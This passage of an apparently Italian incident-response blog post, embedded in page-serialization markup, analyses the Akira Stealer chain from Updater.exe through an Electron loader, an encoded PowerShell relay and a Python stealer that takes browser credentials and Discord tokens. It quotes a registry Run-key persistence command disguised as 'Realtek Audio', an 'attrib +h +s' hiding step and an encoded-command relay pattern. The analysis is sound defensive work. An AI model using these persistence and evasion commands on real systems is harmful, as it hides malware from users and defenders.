conoscenza.",[852,853],"div",{"className":854},[855,856],"space-top-1","space-bottom-1",[556,858,860],{"id":859},"_2-architettura-del-malware-e-panoramica-della-catena-di-esecuzione","2. Architettura del malware e panoramica della catena di esecuzione",[525,862,562],{},[525,864,865],{},"Il malware osservato sull'endpoint colpito seguiva un'architettura strutturata e multistadio con una chiara separazione delle responsabilità: distribuzione, decodifica, esecuzione ed esfiltrazione dei dati.",[740,867,869],{"id":868},"_21-panoramica-della-catena-di-esecuzione","2.1 Panoramica della catena di esecuzione",[525,871,746],{},[525,873,874],{},"Il flusso di esecuzione osservato era il seguente:",[525,876,601],{},[615,878,881],{"className":879,"code":880,"language":620},[618],"​   └── main.exe\n​       └── cmd.exe\n​           └── python.exe astor.py\n",[578,882,880],{"__ignoreMap":529},[525,884,885],{},"Ogni componente della catena contribuiva a furtività, modularità ed evasione. L'architettura sfruttava runtime legittimi e interpreti standard del sistema operativo per aggirare i meccanismi di rilevamento.",[887,888,890],"h3",{"id":889},"_211-origine-incerta-vettore-iniziale-mancante","2.1.1 Origine incerta: vettore iniziale mancante",[525,892,893],{},"{: .font-size-4}",[525,895,896,897,900,901,613],{},"Nonostante un'analisi approfondita dell'ambiente post compromissione, il vettore di accesso iniziale non ha potuto essere determinato con certezza. Questa incertezza deriva soprattutto dal fatto che il malware era rimasto attivo per una stima di ",[567,898,899],{},"sei mesi prima del rilevamento",", un periodo che supera la ",[567,902,903],{},"finestra di conservazione dei log applicata da Microsoft Defender for Endpoint",[525,905,906],{},"Di conseguenza non era disponibile alcuna telemetria né alcun artefatto forense risalente al momento originario dell'infezione. Nessun evento di creazione processo iniziale, nessun file droppato e nessuna voce da riga di comando relativa alla fase di delivery erano recuperabili dalla timeline di Defender o dai sensori collegati.",[525,908,909],{},"Sulla base di indicatori contestuali e fonti OSINT, un probabile vettore di infezione potrebbe aver coinvolto:",[630,911,912,918,924],{},[633,913,914,917],{},[567,915,916],{},"Installer trojanizzati"," di software di gioco craccato o moddato",[633,919,920,923],{},[567,921,922],{},"Utility false"," o \"performance booster\" distribuiti tramite forum e siti di terze parti",[633,925,926,929],{},[567,927,928],{},"Estensioni del browser malevole"," mirate a interessi specifici degli utenti (per esempio strumenti legati alle criptovalute o estensioni per Discord)",[525,931,932],{},"Restano però ipotesi.",[525,934,935,936,939],{},"Durante l'indagine non è stato possibile identificare alcun dropper confermato, alcuna email di phishing o alcun sito compromesso. Pur avendo ricostruito integralmente l'architettura del malware e la catena di esecuzione, il ",[567,937,938],{},"punto iniziale di compromissione (MITRE ATT&CK T1190 / T1566)"," non ha potuto essere validato.",[887,941,943,944,946],{"id":942},"_212-updaterexe-il-loader-iniziale","2.1.2 ",[578,945,601],{},", il loader iniziale",[525,948,893],{},[525,950,951,952,954],{},"Esaminando l'albero dei processi in Microsoft 365 Defender, ",[578,953,601],{}," è saltato subito all'occhio, non per quello che faceva, ma per quanto silenziosamente si era inserito nel flusso di esecuzione del sistema.",[525,956,957],{},"Questa binary era registrata per l'esecuzione automatica tramite la classica chiave Run di Windows:",[615,959,962],{"className":960,"code":961,"language":620},[618],"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n",[578,963,961],{"__ignoreMap":529},[525,965,966],{},"Questo significava che sarebbe partita a ogni accesso dell'utente alla propria sessione, un classico meccanismo di persistenza che non richiede privilegi elevati e che spesso passa inosservato nella telemetria EDR.",[630,968,969,975,981,987,993],{},[633,970,971,974],{},[567,972,973],{},"Tipo di file",": eseguibile PE di Windows (32 bit)",[633,976,977,980],{},[567,978,979],{},"Firma",": non firmato",[633,982,983,986],{},[567,984,985],{},"Rilevamento VirusTotal",": 1 motore su 69 al momento del triage",[633,988,989,992],{},[567,990,991],{},"Contesto di esecuzione",": integrità media, sessione utente",[633,994,995,998,999],{},[567,996,997],{},"Posizione",": ",[578,1000,1001],{},"AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\",[525,1003,1004],{},"Il file in sé era piccolo, compilato in modo pulito e del tutto ordinario dal punto di vista dell'analisi statica. Nessuna stringa sospetta, nessuna sezione cifrata, nessun indicatore di offuscamento o packing. Importava solo un insieme minimo di funzioni API standard di Windows e non conteneva alcun payload incorporato.",[525,1006,1007,1008,1010,1011,1013],{},"Il suo comportamento era però più eloquente. Una volta avviato, ",[578,1009,601],{}," estraeva un'applicazione Electron da un archivio incluso, un runtime NodeJS autonomo impacchettato con gli strumenti standard di Electron. La cartella scompattata conteneva un eseguibile chiamato ",[578,1012,605],{},", lanciato subito dopo come processo figlio.",[615,1015,1018],{"className":1016,"code":1017,"language":620,"meta":529},[618],"Updater.exe → main.exe\n",[578,1019,1017],{"__ignoreMap":529},[525,1021,1022,1023,1025,1026,1028],{},"A questo stadio non c'erano indicatori di rete, nessuna process injection e nessuna anomalia nei privilegi o nell'elevazione dei token. L'intero ruolo di ",[578,1024,601],{}," sembrava essere quello di un loader, incaricato di portare nell'ambiente un componente di secondo stadio (",[578,1027,605],{},"), probabilmente con l'obiettivo di mantenere furtività e modularità.",[525,1030,1031],{},"Questo tipo di separazione architetturale è comune nel malware commodity moderno e nei toolkit di tipo stealer. Il loader iniziale funge solo da stub di distribuzione e lascia la logica più pesante, spesso offuscata, interpretata o generata dinamicamente, agli stadi successivi.",[525,1033,1034,1035,1037,1038,1040,1041,613],{},"In questo caso ",[578,1036,601],{}," serviva esattamente a quello: un punto d'appoggio iniziale silenzioso, progettato per mimetizzarsi, restare invisibile e aprire la strada all'esecuzione della vera logica di stealer in ",[578,1039,605],{}," e infine in ",[578,1042,609],{},[525,1044,1045],{},"Non toccava il file system al di fuori della propria directory e non faceva scattare alcuna regola comportamentale, eppure era la prima tessera di una catena d'attacco lunga e costruita con cura.",[887,1047,1049,1050,1052],{"id":1048},"_213-mainexe-contenitore-di-payload-nodejs-offuscato","2.1.3 ",[578,1051,605],{},", contenitore di payload NodeJS offuscato",[525,1054,893],{},[525,1056,1057,1058,1060,1061,1063],{},"Dopo l'esecuzione di ",[578,1059,601],{}," veniva lanciata una binary di secondo stadio chiamata ",[578,1062,605],{},". Questo componente si presentava come una normale applicazione Electron, un ambiente runtime che impacchetta Node.js e Chromium ed è spesso usato per app desktop multipiattaforma. La sua natura innocua è parte di ciò che lo rende così pericoloso nelle mani sbagliate.",[525,1065,1066,1067,1069,1070,1073],{},"All'esame, ",[578,1068,605],{}," conteneva un archivio interno chiamato ",[578,1071,1072],{},"app.asar",", il formato di packaging standard per le applicazioni basate su Electron. A differenza delle app Electron legittime, però, il contenuto di questo archivio era tutt'altro che ordinario.",[630,1075,1076,1082,1088,1096],{},[633,1077,1078,1081],{},[567,1079,1080],{},"Piattaforma",": Electron (Node.js + Chromium)",[633,1083,1084,1087],{},[567,1085,1086],{},"Architettura",": Windows a 64 bit",[633,1089,1090,1093,1094],{},[567,1091,1092],{},"Struttura del contenuto",": file JavaScript incorporati in ",[578,1095,1072],{},[633,1097,1098,1101,1102,1105],{},[567,1099,1100],{},"Livello di offuscamento",": alto, ottenuto con ",[578,1103,1104],{},"js-confuser",", un toolkit di offuscamento per JavaScript disponibile commercialmente",[525,1107,1108,1109,1111],{},"Una volta decompilata e deoffuscata, la logica centrale di ",[578,1110,605],{}," è diventata evidente. Il suo scopo non era mostrare una GUI o eseguire logica di frontend, agiva invece da orchestratore di esecuzione nascosto.",[525,1113,1114],{},[567,1115,1116],{},"Comportamento osservato:",[630,1118,1119,1122,1129],{},[633,1120,1121],{},"Decifra e ricostruisce un comando PowerShell codificato in Base64 memorizzato all'interno del payload JavaScript",[633,1123,1124,1125,1128],{},"Avvia ",[578,1126,1127],{},"cmd.exe"," per eseguire il comando PowerShell inline",[633,1130,1131,1132,1134,1135,1138],{},"Il comando PowerShell richiama a sua volta ",[578,1133,580],{},", passandogli uno script collocato in una struttura di directory apparentemente innocua (",[578,1136,1137],{},"Crypto\\Util\\astor.py",")",[615,1140,1143],{"className":1141,"code":1142,"language":620,"meta":529},[618],"main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\\Util\\astor.py\n",[578,1144,1142],{"__ignoreMap":529},[525,1146,1147],{},"Questa concatenazione permetteva all'attaccante di cambiare contesto di esecuzione e di sfuggire a un rilevamento diretto. Poiché il payload era offuscato e preparato in memoria, i controlli tradizionali basati su signature risultavano inefficaci.",[525,1149,1150],{},"Il framework Electron offriva una copertura ideale, perché consentiva l'esecuzione di JavaScript arbitrario evitando l'attenzione dei controlli. L'esecuzione basata su JavaScript introduceva anche compatibilità multipiattaforma, rendendo possibile una distribuzione flessibile e una più semplice integrazione di logica di controllo dinamica.",[525,1152,1153,1154,1156],{},"Ciò che rendeva ",[578,1155,605],{}," particolarmente pericoloso era la capacità di operare senza scrivere alcun file aggiuntivo oltre a quanto già preparato. Lo script stealer veniva richiamato direttamente da disco, ma tutta la logica di staging e di esecuzione restava incorporata nel bundle Electron.",[525,1158,1159,1160,1162,1163,613],{},"In sintesi, ",[578,1161,605],{}," fungeva da nucleo di esecuzione offuscato e multistrato, da guardiano tra la persistenza iniziale e l'attivazione completa del payload di Akira Stealer in ",[578,1164,609],{},[887,1166,1168,1169,1171],{"id":1167},"_214-cmdexe-e-il-relay-powershell","2.1.4 ",[578,1170,1127],{}," e il relay PowerShell",[525,1173,893],{},[525,1175,1176],{},"Questo stadio della catena di esecuzione funzionava da relay, non per la logica di payload, ma per offuscamento e indirezione.",[525,1178,1179,1180,1182,1183,1185,1186,613],{},"Dopo che ",[578,1181,605],{}," aveva completato il suo compito di scompattare e decodificare il payload, avviava un processo ",[578,1184,1127],{},". Questo processo non conteneva logica malevola in sé e non scriveva né modificava file. Il suo unico scopo era fare da wrapper per lanciare una sessione PowerShell con un ",[567,1187,1188],{},"comando codificato",[525,1190,1191],{},"Questo metodo è una tattica ben nota, usata per ridurre la visibilità e sfuggire al rilevamento:",[630,1193,1194,1206],{},[633,1195,1196,1199,1200],{},[567,1197,1198],{},"Catena di esecuzione",":",[615,1201,1204],{"className":1202,"code":1203,"language":620},[618],"main.exe → cmd.exe /d /s /c \"powershell -EncodedCommand \u003CBase64Payload>\"\n",[578,1205,1203],{"__ignoreMap":529},[633,1207,1208,1199,1211],{},[567,1209,1210],{},"Scopo",[630,1212,1213,1216,1219],{},[633,1214,1215],{},"Incapsula l'esecuzione PowerShell in una shell aggiuntiva",[633,1217,1218],{},"Nasconde il codice PowerShell reale alla visibilità diretta nei log",[633,1220,1221,1222,1225],{},"Elude gli EDR che si attivano sull'uso diretto di ",[578,1223,1224],{},"powershell.exe"," con parametri sospetti",[525,1227,1228,1229,1231],{},"Incorporando lo script PowerShell come stringa codificata in Base64 e invocandolo tramite ",[578,1230,1127],{},", l'attaccante evitava diverse forme di rilevamento:",[630,1233,1234,1239,1244],{},[633,1235,1236],{},[567,1237,1238],{},"Filtri euristici sulla riga di comando",[633,1240,1241],{},[567,1242,1243],{},"Logging standard (per esempio Event ID 4104, 4688)",[633,1245,1246],{},[567,1247,1248,1249,1251,1252,646,1255,1258],{},"Rilevamenti basati su regole per argomenti di ",[578,1250,1224],{}," come ",[578,1253,1254],{},"-NoProfile",[578,1256,1257],{},"-ExecutionPolicy Bypass"," o script inline",[525,1260,1261,1262,1264,1265,1267],{},"Va notato che il comando PowerShell era tenuto al minimo e mirava unicamente ad avviare ",[578,1263,580],{}," con il percorso dello script stealer incorporato, ",[578,1266,609],{},". Non venivano caricati moduli aggiuntivi e non erano presenti signature evidenti in memoria.",[525,1269,1270],{},"Questa tecnica di relay è usata spesso sia nel red teaming sia dagli infostealer sofisticati, come strato di evasione leggero, facile da implementare ma difficile da intercettare senza correlazione della telemetria.",[525,1272,1034,1273,1275],{},[578,1274,1127],{}," serviva esattamente a questo: un ponte semplice e silenzioso tra la logica JavaScript e l'esecuzione Python, un ponte che è quasi passato inosservato.",[887,1277,1279,1280,1282,1283],{"id":1278},"_215-pythonexe-con-astorpy","2.1.5 ",[578,1281,580],{}," con ",[578,1284,609],{},[525,1286,893],{},[525,1288,1289,1290,1292,1293,1295],{},"L'ultimo stadio della catena di esecuzione, e quello di maggiore impatto, veniva raggiunto quando ",[578,1291,580],{}," richiamava ",[578,1294,609],{},", un infostealer modulare scritto in Python che opera interamente in memoria. Questo script costituiva il nucleo operativo dell'intera catena d'attacco.",[525,1297,1298,1299,1301],{},"A differenza di molti stealer commodity, ",[578,1300,609],{}," non era distribuito in chiaro. Era protetto da un meccanismo di decifratura multistrato:",[630,1303,1304,1313],{},[633,1305,1306,1309,1310,613],{},[567,1307,1308],{},"Stack di decifratura",": il file veniva prima compresso con GZIP e poi cifrato con ",[567,1311,1312],{},"AES-256-CBC",[633,1314,1315,1318],{},[567,1316,1317],{},"Derivazione della chiave",": veniva usato un processo di derivazione della chiave basato su PBKDF2 (SHA-512, 1.000.000 di iterazioni), che rende l'analisi statica e il brute forcing altamente impraticabili.",[525,1320,1321],{},"Una volta decifrato a runtime, lo script eseguiva diversi moduli specializzati, tutti rivolti a fonti di dati sensibili:",[525,1323,1324],{},[567,1325,1326],{},"Funzionalità principali",[630,1328,1329,1335,1345,1355],{},[633,1330,1331,1334],{},[567,1332,1333],{},"Estrazione dei dati del browser",": recuperava credenziali di accesso, cookie e dati di compilazione automatica dai browser basati su Chromium (Chrome, Edge, Brave, Opera)",[633,1336,1337,1340,1341,1344],{},[567,1338,1339],{},"Raccolta di token",": raccoglieva token di sessione, in particolare da ",[567,1342,1343],{},"Discord",", e cercava estensioni di wallet di criptovalute",[633,1346,1347,1350,1351,1354],{},[567,1348,1349],{},"Confezionamento dei dati",": aggregava tutti i dati raccolti in un ",[567,1352,1353],{},"archivio ZIP"," strutturato, preservando il contesto di directory e file per l'elaborazione lato attaccante",[633,1356,1357,1360],{},[567,1358,1359],{},"Esfiltrazione",": caricava l'archivio risultante su API e infrastrutture pubbliche.",[525,1362,1363],{},[567,1364,991],{},[525,1366,1367],{},"L'intera logica di stealer veniva eseguita dalla memoria, senza scrivere file persistenti su disco. Lasciava tracce minime nella telemetria, oltre agli artefatti in memoria di processo e alla normale invocazione di sottoprocessi. A questo stadio non veniva fatto alcun tentativo di stabilire persistenza: l'obiettivo era un furto di dati rapido, efficiente e silenzioso.",[525,1369,1370],{},"Anche l'uso di API legittime per l'esfiltrazione rendeva rilevamento e prevenzione molto più difficili, perché il traffico in uscita si confondeva con la normale attività internet.",[525,1372,1373,1374,1376],{},"Questo stadio ha confermato definitivamente l'identità del malware: una variante di ",[567,1375,677],{},", nota per:",[630,1378,1379,1382,1385,1388],{},[633,1380,1381],{},"Elevata modularità",[633,1383,1384],{},"Offuscamento a runtime",[633,1386,1387],{},"Distribuzione commerciale via Telegram",[633,1389,1390],{},"Forte focus sulla raccolta di credenziali e sul session hijacking basato su token",[525,1392,1393,1394,1396],{},"Insieme agli stadi precedenti, ",[578,1395,609],{}," costituiva il capolinea critico di una catena infostealer furtiva e ben progettata. Nelle sezioni seguenti analizziamo più a fondo questo componente e spieghiamo come ne abbiamo invertito la logica, mappato l'infrastruttura e recuperato ogni indicatore di compromissione usato durante la sua attività.",[556,1398,1400,1401],{"id":1399},"_3-deep-dive-updaterexe","3. Deep Dive: ",[578,1402,601],{},[525,1404,562],{},[525,1406,1407,1409],{},[578,1408,601],{}," è stata la prima binary osservata durante l'analisi post compromissione. Nonostante l'aspetto neutro e l'impronta di rilevamento trascurabile, ha giocato un ruolo decisivo nel mantenere la persistenza operativa del malware e nel consegnare il payload dello stadio successivo.",[740,1411,1413],{"id":1412},"_31-proprietà","3.1 Proprietà",[525,1415,746],{},[1417,1418,1419,1432],"table",{},[1420,1421,1422],"thead",{},[1423,1424,1425,1429],"tr",{},[1426,1427,1428],"th",{},"Property",[1426,1430,1431],{},"Value",[1433,1434,1435,1446,1456,1466,1476,1486],"tbody",{},[1423,1436,1437,1443],{},[1438,1439,1440],"td",{},[567,1441,1442],{},"Format:",[1438,1444,1445],{},"Windows Portable Executable (PE32)",[1423,1447,1448,1453],{},[1438,1449,1450],{},[567,1451,1452],{},"Architecture:",[1438,1454,1455],{},"x86-64",[1423,1457,1458,1463],{},[1438,1459,1460],{},[567,1461,1462],{},"Size:",[1438,1464,1465],{},"~154 KB",[1423,1467,1468,1473],{},[1438,1469,1470],{},[567,1471,1472],{},"Entropy:",[1438,1474,1475],{},"Normal (non-packed)",[1423,1477,1478,1483],{},[1438,1479,1480],{},[567,1481,1482],{},"Signatures:",[1438,1484,1485],{},"None",[1423,1487,1488,1493],{},[1438,1489,1490],{},[567,1491,1492],{},"VirusTotal Detection:",[1438,1494,1495],{},"1/69 at time of analysis",[525,1497,1498],{},"Il file presentava una tabella degli import pulita e nessun indicatore nelle stringhe incorporate. Non sono stati rilevati packer, crypter o meccanismi di offuscamento a runtime noti. La struttura era coerente con binary compilate su misura.",[740,1500,1502],{"id":1501},"_32-analisi-comportamentale","3.2 Analisi comportamentale",[525,1504,746],{},[525,1506,1507],{},[567,1508,1509],{},"Nessuna interazione dell'utente richiesta",[525,1511,1512,1513,1515],{},"La catena di malware veniva eseguita senza alcuna interazione necessaria da parte dell'utente. In base alla telemetria di processo di Defender, la binary iniziale (",[578,1514,601],{},") veniva lanciata automaticamente, con ogni probabilità tramite un meccanismo di persistenza come una chiave di autorun nel registro di sistema. A causa dell'età della compromissione e dell'assenza di log storici degli eventi, però, il metodo esatto di persistenza non è stato recuperabile.",[525,1517,1518],{},[567,1519,1520],{},"Esecuzione e staging silenziosi",[525,1522,1523,1524,1526,1527,1529],{},"All'avvio, ",[578,1525,601],{}," lanciava immediatamente ",[578,1528,605],{}," senza alcuna finestra visibile e senza richieste all'utente. Lo staging avveniva in silenzio in background. Non c'era traccia di finestre di consenso, prompt UAC o componenti di interfaccia.",[525,1531,1532],{},[567,1533,1534],{},"Comportamento di distribuzione del payload",[525,1536,1537,1539],{},[578,1538,605],{}," faceva parte di una struttura di applicazione Electron, ma l'origine esatta della sua distribuzione resta poco chiara. Si presume una delle due possibilità seguenti:",[630,1541,1542,1548],{},[633,1543,1544,1545,1547],{},"Il payload potrebbe essere stato incluso internamente in ",[578,1546,601],{}," (per esempio come risorsa incorporata), oppure",[633,1549,1550],{},"Potrebbe essere stato scaricato da una fonte remota",[525,1552,1553],{},"Per la mancanza di telemetria di rete e in assenza di URL hardcoded recuperati, il vettore di delivery dell'app Electron resta indeterminato.",[525,1555,1556],{},[567,1557,1558],{},"Comportamento della catena di processi",[525,1560,1561,1562,1564,1565,1567],{},"Una volta eseguita, ",[578,1563,601],{}," generava ",[578,1566,605],{}," come processo figlio. L'invocazione era non interattiva e nessun processo generato dalla catena mostrava attività di interfaccia. La catena di processi proseguiva come previsto:",[615,1569,1572],{"className":1570,"code":1571,"language":620},[618],"Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py\n",[578,1573,1571],{"__ignoreMap":529},[525,1575,1576],{},"Tutti gli stadi di esecuzione operavano senza richiedere input dell'utente, affidandosi unicamente a logiche di avvio preconfigurate e a percorsi di esecuzione silenziosi. Questo riduceva l'esposizione e aiutava il malware a restare invisibile per un periodo prolungato.",[740,1578,1580],{"id":1579},"_33-ruolo-nella-catena-di-infezione","3.3 Ruolo nella catena di infezione",[525,1582,746],{},[525,1584,1585,1587,1588,1591,1592,613],{},[578,1586,601],{}," svolgeva un ",[567,1589,1590],{},"ruolo unico ma essenziale"," all'interno della più ampia catena di infezione: era responsabile della persistenza e della ridistribuzione del componente di stadio 2, cioè ",[578,1593,605],{},[525,1595,1596],{},[567,1597,1598],{},"Caratteristiche confermate",[630,1600,1601,1607,1612],{},[633,1602,1603,1606],{},[567,1604,1605],{},"Non"," conteneva né eseguiva logica malevola in modo diretto",[633,1608,1609,1611],{},[567,1610,1605],{}," effettuava alcuna esfiltrazione di dati",[633,1613,1614,1616],{},[567,1615,1605],{}," interagiva con gli archivi di credenziali del browser o con dati sensibili dell'utente",[525,1618,1619,1620,1622],{},"Il suo unico scopo era avviare in silenzio ",[578,1621,605],{}," durante il login dell'utente, usando una voce di autorun nel registro come metodo di persistenza più probabile (anche se non recuperato direttamente per i limiti della telemetria).",[525,1624,1625,1626,1628,1629,1631],{},"Agendo da loader di primo stadio isolato, ",[578,1627,601],{}," faceva sì che il vero payload di stealer (",[578,1630,609],{},") restasse nascosto negli strati più profondi dell'esecuzione. Questa separazione dei compiti permetteva agli attaccanti di:",[630,1633,1634,1637,1640],{},[633,1635,1636],{},"Evitare la correlazione da parte di AV statici o sistemi sandbox",[633,1638,1639],{},"Sostituire o aggiornare i payload senza modificare il loader",[633,1641,1642],{},"Ridurre i segnali comportamentali nel punto di ingresso",[525,1644,1645,1646,1649],{},"Questo schema è tipico delle operazioni ",[567,1647,1648],{},"malware-as-a-service (MaaS)",", dove i meccanismi di delivery sono generici e i payload sono modulari o specifici per cliente.",[525,1651,1034,1652,1654],{},[578,1653,601],{}," forniva giusto la logica sufficiente a fungere da punto di ingresso affidabile e furtivo, niente di più, ma neanche niente di meno.",[740,1656,1658],{"id":1657},"_34-persistenza-tramite-registro-confermata-in-astorpy","3.4 Persistenza tramite registro (confermata in astor.py)",[525,1660,746],{},[525,1662,1663,1664,1666],{},"L'analisi statica del payload Python ha rivelato che ",[578,1665,601],{}," viene reso persistente esplicitamente tramite una voce di autorun nel registro:",[630,1668,1669,1677,1685],{},[633,1670,1671,998,1674],{},[567,1672,1673],{},"Percorso di registro",[578,1675,1676],{},"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",[633,1678,1679,998,1682],{},[567,1680,1681],{},"Nome del valore",[578,1683,1684],{},"Realtek Audio",[633,1686,1687,998,1690],{},[567,1688,1689],{},"Percorso del payload",[578,1691,1692],{},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe",[525,1694,1695],{},"Il comando di registro corrispondente viene eseguito tramite PowerShell:",[615,1697,1701],{"className":1698,"code":1699,"language":1700,"meta":529,"style":529},"language-powershell shiki shiki-themes github-light github-dark","reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Realtek Audio\" /t REG_SZ /d \"...\\Updater.exe\" /f\n","powershell",[578,1702,1703],{"__ignoreMap":529},[1704,1705,1708],"span",{"class":1706,"line":1707},"line",1,[1704,1709,1699],{},[525,1711,1712],{},"Questo garantisce che il malware venga avviato a ogni login dell'utente. Al file vengono inoltre assegnati gli attributi hidden e system per sfuggire ulteriormente al rilevamento:",[615,1714,1716],{"className":1698,"code":1715,"language":1700,"meta":529,"style":529},"attrib +h +s \"Updater.exe\"\n",[578,1717,1718],{"__ignoreMap":529},[1704,1719,1720],{"class":1706,"line":1707},[1704,1721,1715],{},[525,1723,1724],{},"Questo meccanismo di persistenza era incorporato direttamente nel codice di astor.py, a conferma che lo stealer di ultimo stadio mantiene attivamente la presenza del loader su disco e nel registro di avvio.",[740,1726,1728],{"id":1727},"_35-sintesi","3.5 Sintesi",[525,1730,746],{},[846,1732,1733],{},[525,1734,1735,1736,1738],{},"Anche se ",[578,1737,601],{}," non era di per sé malevolo per struttura o contenuto, il suo comportamento contestuale all'interno della catena di esecuzione ne ha confermato il ruolo di malware loader.",[852,1740],{"className":1741},[855],[525,1743,1744],{},"Questa binary fungeva da launcher di primo stadio pulito e minimale, capace di eludere analisi statica, motori AV e regole comportamentali. Il suo design puntava unicamente alla furtività e al supporto operativo, non all'esecuzione di logica malevola in proprio.",[525,1746,1747,1748,1750,1751,1753,1754,1757],{},"Il suo ruolo andava però oltre la distribuzione iniziale. Durante il reverse engineering del payload ",[578,1749,609],{}," abbiamo individuato una logica che verificava attivamente la presenza di ",[578,1752,601],{},". Questo controllo faceva parte di un più ampio ",[567,1755,1756],{},"ciclo di health check e autoriparazione"," implementato nel codice dello stealer, un meccanismo pensato per verificare l'integrità della catena di infezione e ripristinare i componenti mancanti quando necessario.",[525,1759,1760,1761,1763,1764,1767],{},"Questo significa che ",[578,1762,601],{}," non era solo responsabile dell'avvio del malware, ma faceva anche parte della sua ",[567,1765,1766],{},"validazione continua a runtime",". Senza questo stub il malware avrebbe potuto perdere la capacità di reinizializzarsi nelle sessioni successive.",[525,1769,1770],{},[567,1771,1772,1773,1199],{},"Funzioni chiave di ",[578,1774,601],{},[630,1776,1777,1782,1787,1790],{},[633,1778,1779,1780],{},"Distribuzione senza attriti di ",[578,1781,605],{},[633,1783,1784,1785],{},"Esecuzione indiretta di ",[578,1786,609],{},[633,1788,1789],{},"Disaccoppiamento tra logica di loader e logica di payload",[633,1791,1792,1795],{},[567,1793,1794],{},"Referenziato dal payload stesso"," come parte del monitoraggio dello stato operativo",[525,1797,1798],{},"Nella sezione 5 illustreremo nel dettaglio le routine interne di health check dello stealer, compreso il comportamento di autoriparazione e i meccanismi di validazione dell'integrità.",[525,1800,1801,1802,1804],{},"Per ora è chiaro che ",[578,1803,601],{}," fungeva sia da accensione sia da punto di ancoraggio in questa architettura infostealer a strati.",[740,1806,1808],{"id":1807},"_36-trucco-di-estrazione-battere-il-loader-in-astuzia","3.6 Trucco di estrazione: battere il loader in astuzia",[525,1810,746],{},[525,1812,1813],{},"A volte i migliori risultati di reverse engineering non arrivano dal disassemblaggio approfondito di una binary, ma da un po' di astuzia e di pazienza.",[525,1815,1816,1817,1819,1820,1822],{},"Analizzando l'infezione in un ambiente di laboratorio controllato abbiamo notato qualcosa di strano: ",[578,1818,601],{}," era presente e in esecuzione, ma ",[578,1821,605],{}," era sparito dal file system. È lì che ci è venuta un'idea: che succede se lasciamo che il malware si ripari da solo?",[525,1824,1825,1826,1831,1832,1834],{},"Abbiamo ",[567,1827,1828,1829],{},"cancellato deliberatamente ",[578,1830,605],{}," dall'ambiente infetto, lasciando intatto ",[578,1833,601],{},". E puntualmente, dopo il login della sessione utente successiva, il loader è entrato in azione, non con una protesta, ma con un tentativo silenzioso di ricostruire il suo secondo stadio.",[525,1836,1837,1838,646,1840,1842,1843,1846,1847,1850,1851,646,1853,1856,1857,1859],{},"Ed è qui che la cosa si è fatta interessante: invece di ricreare direttamente ",[578,1839,605],{},[578,1841,601],{}," ha prima scritto un file chiamato ",[578,1844,1845],{},"app-64.7z",", un normale ",[567,1848,1849],{},"archivio 7-Zip",". Questo archivio conteneva l'intera struttura dell'applicazione Electron, compresi ",[578,1852,605],{},[578,1854,1855],{},"resources"," e il payload ",[578,1858,1072],{}," con tutta la logica incorporata.",[525,1861,1862,1863,613],{},"Di fatto avevamo ",[567,1864,1865],{},"costretto il malware a consegnarci il pacchetto sorgente",[525,1867,1868],{},[774,1869],{"alt":1870,"src":1871},"Rilevato eseguibile Updater sospetto","https://res.cloudinary.com/c4a8/image/upload/v1749797290/blog/pics/updater-exe.png",[525,1873,1874],{},"Con questo archivio 7z in mano siamo riusciti a estrarre, decomprimere e invertire completamente la logica di orchestrazione basata su JavaScript senza nemmeno toccare di nuovo il loader originale. La struttura dell'archivio corrispondeva perfettamente al layout atteso di un'app Electron.",[525,1876,1877,1878,1881],{},"Questo comportamento suggerisce con forza che gli attaccanti abbiano scelto deliberatamente un'",[567,1879,1880],{},"architettura modulare e manutenibile",", usando gli archivi come contenitori di payload flessibili. Ha permesso loro anche di sostituire o aggiornare i componenti del payload senza ricompilare la binary del loader.",[525,1883,1884],{},"E nel nostro caso? Ci ha permesso di battere in astuzia la loro catena, intercettare il drop e andarcene con il pacchetto completo, come rubare i progetti dal banco da lavoro mentre il costruttore guarda altrove.",[525,1886,1887,1888],{},"Diciamo solo questo: ",[567,1889,1890,1891,646,1894,1897],{},"a volte i migliori strumenti forensi sono ",[578,1892,1893],{},"del",[578,1895,1896],{},"wait"," e un pizzico di curiosità.",[556,1899,1901,1902],{"id":1900},"_4-deep-dive-powbat","4. Deep Dive: ",[578,1903,1904],{},"pow.bat",[525,1906,562],{},[525,1908,1909,1910,1913],{},"Nella campagna di malware analizzata, il componente ",[578,1911,1912],{},"Invoke-SharpLoader"," agisce da loader .NET residente in memoria e costruito su misura, con un flusso di esecuzione altamente modulare ed evasivo. Questa sezione analizza la sua architettura interna, la sua strategia anti analisi tramite patching di AMSI e il suo ruolo nel facilitare il payload di secondo stadio.",[740,1915,1917],{"id":1916},"_41-proprietà-della-binary-il-wrapper-batch-di-sharploader","4.1 Proprietà della binary: il wrapper batch di SharpLoader",[525,1919,746],{},[525,1921,1922,1923,1925],{},"Prima di essere eseguito per caricare in memoria il payload .NET, il wrapper esterno ",[578,1924,1904],{}," mostra le seguenti caratteristiche in base all'analisi statica:",[1417,1927,1928,1936],{},[1420,1929,1930],{},[1423,1931,1932,1934],{},[1426,1933,1428],{},[1426,1935,1431],{},[1433,1937,1938,1947,1956,1966,1975,1985,1995,2004],{},[1423,1939,1940,1944],{},[1438,1941,1942],{},[567,1943,1442],{},[1438,1945,1946],{},"DOS Batch File",[1423,1948,1949,1953],{},[1438,1950,1951],{},[567,1952,1452],{},[1438,1954,1955],{},"Script-based (not compiled binary)",[1423,1957,1958,1963],{},[1438,1959,1960],{},[567,1961,1962],{},"File Size:",[1438,1964,1965],{},"27.79 KB (28454 bytes)",[1423,1967,1968,1972],{},[1438,1969,1970],{},[567,1971,1472],{},[1438,1973,1974],{},"Normal (plain ASCII text)",[1423,1976,1977,1982],{},[1438,1978,1979],{},[567,1980,1981],{},"Magic:",[1438,1983,1984],{},"DOS batch file, ASCII text",[1423,1986,1987,1992],{},[1438,1988,1989],{},[567,1990,1991],{},"Digital Signature:",[1438,1993,1994],{},"None detected",[1423,1996,1997,2001],{},[1438,1998,1999],{},[567,2000,1492],{},[1438,2002,2003],{},"26 / 61 (at time of analysis)",[1423,2005,2006,2011],{},[1438,2007,2008],{},[567,2009,2010],{},"Threat 